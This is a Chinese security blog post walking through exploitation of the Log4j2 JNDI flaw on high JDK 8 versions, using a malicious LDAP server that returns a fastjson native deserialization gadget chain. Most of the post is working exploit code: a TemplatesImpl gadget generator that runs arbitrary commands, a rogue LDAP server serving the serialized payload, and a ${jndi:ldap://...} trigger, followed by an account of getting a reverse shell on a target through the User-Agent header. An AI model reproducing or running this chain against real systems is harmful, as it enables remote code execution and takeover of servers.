长亭百川云 - 文章详情

【实战】log4j2绕过jdk高版本拿shell

云鸦安全团队

113

2024-07-11

点击上方蓝字关注我们吧

记录一下漏洞复现的过程,文章有错误的地方还请师傅们指出,欢迎各位师傅加群进行技术交流~

在某次项目中扫到了一个log4j2漏洞,立马拿着常用工具一顿猛梭,结果发现该站用的是jdk8,且版本高于1.8.0_191。


查找了网上大部分文章,正常攻击的话高于以下版本就打不了了。

因为高版本在VersionHelper12.loadClass方法中加了一个判断,如下新增了”com.sun.jndi.ldap.object.trustURLCodebase“变量来控制是否允许请求Codebase下载所需的Class文件,且该变量默认为false。



但是我们还是可以正常请求Ldap服务器,所以我们仍然有可能通过自己的恶意Ldap服务器构建返回恶意代码,从而实现注入攻击。接下来,我们就一起来讨论下高版本如何通过Ldap恶意服务器对服务器进行攻击。最近刚好看到Y4tacker老师的文章:

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

发现fastjson从1.2.49开始也有一条原生反序列化链可用,抱着对方站点用了fastjson的幻想,深夜开启了本地环境搭建和调试。

环境搭建

新建第一个maven项目,jdk版本为1.8.0_221(高于1.8.0_191版本)

将以下内容添入pom中,需要添加引入fastjson,这里我引入了1.2.83版本

<dependencies>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.12.1</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.12.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-1.2-api</artifactId>
      <version>2.12.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.17.2</version>
    </dependency>
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.83</version>
    </dependency>
  </dependencies>

为了节约时间就没搭建web页面,使用以下代码模拟log4j2漏洞触发点:log4jRCE.java

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

fastjson原生反序列化链exp:cloudCrow.java

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
class cloudCrow {
    // 在一个TemplatesImpl对象上设置一项。TemplatesImpl是Java的内部类,用于XML转换。
    // 这个函数通过反射获取字段,并将其设置为可以访问,然后设置值。
    public static void setValue(TemplatesImpl obj , String name , Object value) throws IllegalAccessException, NoSuchFieldException {
        Field declaredField = obj.getClass().getDeclaredField(name);  // 获得声明的字段
        declaredField.setAccessible(true); // 设置字段为可以访问
        declaredField.set(obj,value); // 设置字段的值
    }
    // 这个函数创建了一个新的类,并在这个类的构造函数中执行一个命令。
    // 类是从AbstractTranslet类(用于XML转换)派生的。
    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault(); // 创建一个新的类池
        CtClass clazz = pool.makeClass("a"); // 创建一个新的类"a"
        CtClass ctClass = pool.get(AbstractTranslet.class.getName()); // 获取AbstractTranslet类
        clazz.setSuperclass(ctClass); // 设置新类的父类为AbstractTranslet
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, clazz); // 为新类创建一个构造函数
        ctConstructor.setBody("Runtime.getRuntime().exec(\""+ cmd +"\");"); // 在构造函数中执行命令
        clazz.addConstructor(ctConstructor); // 将构造函数添加到类中
        clazz.getClassFile().setMajorVersion(49); // 设置类的主要版本号
        return clazz.toBytecode(); // 返回这个类的字节码
    }
    public static void main(String[] args) throws Exception {
        byte[][] bytess = new byte[][]{genPayload("calc")}; // 调用genPayload函数生成负载
        TemplatesImpl temp = TemplatesImpl.class.newInstance(); // 创建一个新的TemplatesImpl实例
        setValue(temp,"_bytecodes",bytess); // 给TemplatesImpl实例设置字节码
        setValue(temp,"_name","1"); // 给TemplatesImpl实例设置名字
        setValue(temp,"_tfactory",null); // 给TemplatesImpl实例设置变厂对象
        JSONArray jsonArray = new JSONArray(); // 创建一个新的JSON数组
        jsonArray.add(temp); // 将TemplatesImpl实例添加到JSON数组
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null); // 创建一个新的对象
        Field declaredField = bd.getClass().getDeclaredField("val"); // 获取对象的声明字段
        declaredField.setAccessible(true); // 设置字段为可访问的
        declaredField.set(bd,jsonArray); // 将对象的字段设置为JSON数组
        HashMap hashMap = new HashMap(); // 创建一个新的HashMap
        hashMap.put(temp,bd); // 将TemplatesImpl实例和对象添加到HashMap
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 创建一个新的字节数组输出流
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 创建一个新的对象输出流
        objectOutputStream.writeObject(hashMap); // 将HashMap写入到对象输出流
        byte[] bytes = byteArrayOutputStream.toByteArray(); // 输出流转化为字节数组
        FileOutputStream fos = new FileOutputStream("D:\\1.ser"); // 创建文件输出流
        fos.write(bytes); // 将字节数组写入文件
    }
}

再新建一个ldap服务器项目。(由于短时间没找到合适的工具能将之前生成序列化流文件进行读取,然后再通过ladp服务进行,所以就在网上找了ldap服务端代码然后进行修改) pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.example</groupId>
    <artifactId>demo5</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.apache.directory.server</groupId>
            <artifactId>apacheds-all</artifactId>
            <version>2.0.0-M24</version>
        </dependency>
    </dependencies>
</project>

由于maven 无法拉取 unboundid 这个依赖。。。。。。,这里从网上下了一个手动添加至lib中:下载地址:

https://repo.maven.apache.org/maven2/com/unboundid/unboundid-ldapsdk/3.2.0/unboundid-ldapsdk-3.2.0.jar

ldap服务:LDAPServer2.java

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import java.util.Base64;
public class LDAPServer2 {
    private static final String LDAP_BASE = "dc=example,dc=com";
    private static byte[] readFileBytes(String filename) throws IOException {
        File file = new File(filename);
        byte[] data = new byte[(int) file.length()];
        try (FileInputStream fis = new FileInputStream(file)) {
            fis.read(data);
        }
        return data;
    }
    public static void main (String[] args) {
        String url = "http://192.168.127.131:8081/#eeee";
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, IOException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());
            e.addAttribute("javaClassName", "foo");
            e.addAttribute("javaSerializedData", readFileBytes("D:\\1.ser"));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

文件操作:在内存中读取并存储指定文件内容,并返回存储该文件内容的字节数组。

在XML元素e上添加两个属性,分别名为javaClassName和javaSerializedData,并分别赋予它们值foo和从D:\1.ser文件读取的字节数据。

漏洞验证

项目搭建好后,首先在第一个项目中的cloudCrow.java点击运行,会在本地D盘生成序列为文件exp.ser


然后再运行第二个项目的LDAPServer文件


最后再回到第一个项目中的log4jRCE.java中触发漏洞

成功弹出计算器,且ldap服务接到请求,说明复现成功了。

匆匆忙忙的终于把复现环境给搭建起来了,项目时间紧迫,这次只能将就点用了。立马直接打包成jar包上传至vps中使用,尝试是否在项目上拿到shell。后续摸索着写一个工具将链内置工具里,因为fastjson用的站挺多的,且在83版本下也能拿shell。

实战

编写反弹shell命令

将反弹shell命令添加至于log4jRCE.java中,运行生成的exp.ser上传至攻击机

运行jar包后,就会开启ldap的1389端口服务读取exp.ser序列化文件

再使用nc开启80端口监听

漏洞点在User-Agent处,使用bp发包

攻击机成功接收到,并且返回对方jdk版本

nc监听这边也成功拿到了shell

总结

之后遇到了log4j漏洞且jdk版本过高,可先判断该站点使用了哪些组件或库以及对应利用链的版本要求,例如:fastjson、jackson、CC、CB、groovy、hibernate等,当然有源码的情况下就最好了。然后使用ldap/rmi+利用链来进行攻击。最后,文章中描述有误的地方还请师傅们指出。

加入我们学习群一起学习交流,一群已超过200人,可扫 码添加左侧运营微信发送验证”云鸦“进入,也可以扫码直接二群,欢迎师傅们一起学习交流,每天学习安全新知识~

免责声明:请勿将本项目技术或代码应用在恶意软件制作、软件著作权/知识产权盗取或不当牟利等非法用途中。本项目提及的技术仅可用于私人学习测试等合法场景中,任何不当利用该技术所造成的刑事、民事责任均与本项目作者无关。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2